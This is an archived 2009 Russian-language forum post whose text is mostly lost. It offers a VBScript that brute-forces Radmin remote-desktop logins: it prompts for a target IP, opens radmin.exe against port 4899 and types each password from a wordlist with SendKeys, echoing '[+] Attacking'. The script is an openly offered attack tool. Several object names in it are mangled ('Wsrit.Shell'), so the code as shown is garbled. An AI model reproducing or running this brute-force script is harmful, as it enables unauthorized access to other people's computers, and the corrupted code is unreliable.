OSzone.net  

OSzone.net (http://forum.oszone.net/index.php)
-   Windows (http://forum.oszone.net/forumdisplay.php?f=102)
-   -   IP RAdmin (http://forum.oszone.net/showthread.php?t=147620)

falcon92 10-08-2009 21:17 1190418

IP RAdmin
 
..

vbs, .. ....
IP .
, . 12345678
.

P.S GOOD ..
P.P.S , 3 (.. LOGIN, DOMAIN)



:

Set objShell = CreateObject("Wsrit.Shell")

intValue = InputBox("Please Enter Your Target IP:")
strCommandLine = intValue



Set cmd = CreateObject("Wsrit.Shell")
If Wsrit.Arguments(0) = "" Then
Wsrit.Echo "usage: csrit vbsFile.vbs <yourtxtfile>"
Else
Set fso = CreateObject("sriting.FileSystemObject")
Filename = Wsrit.Arguments(0)

If fso.FileExists(Filename) Then
Set objTextFile = fso.OpenTextFile(Filename,1)
Wsrit.Sleep 2000
Do Until objTextFile.AtEndOfStream
line = objTextFile.Readline

Wsrit.Echo "[+] Attacking " & intValue & "....... " & line
Wsrit.Sleep 500
set WshShell = Wsrit.CreateObject("Wsrit.Shell")
WshShell.Run "radmin.exe /connect:" & intValue & ":4899 /telnet"
Wsrit.Sleep 500
WshShell.AppActivate "Enter password for <Entry name>"
WshShell.SendKeys line
Wsrit.Sleep 500
WshShell.SendKeys "{ENTER}"
Wsrit.Sleep 200
WshShell.SendKeys "{ENTER}"

loop
objTextFile.Close
Else
Wsrit.Echo Filename & "does not exists"
End If
End If


)) )) . :///

With *.* ! (c)


: 02:21.

: 02:21.
OSzone.net 2001-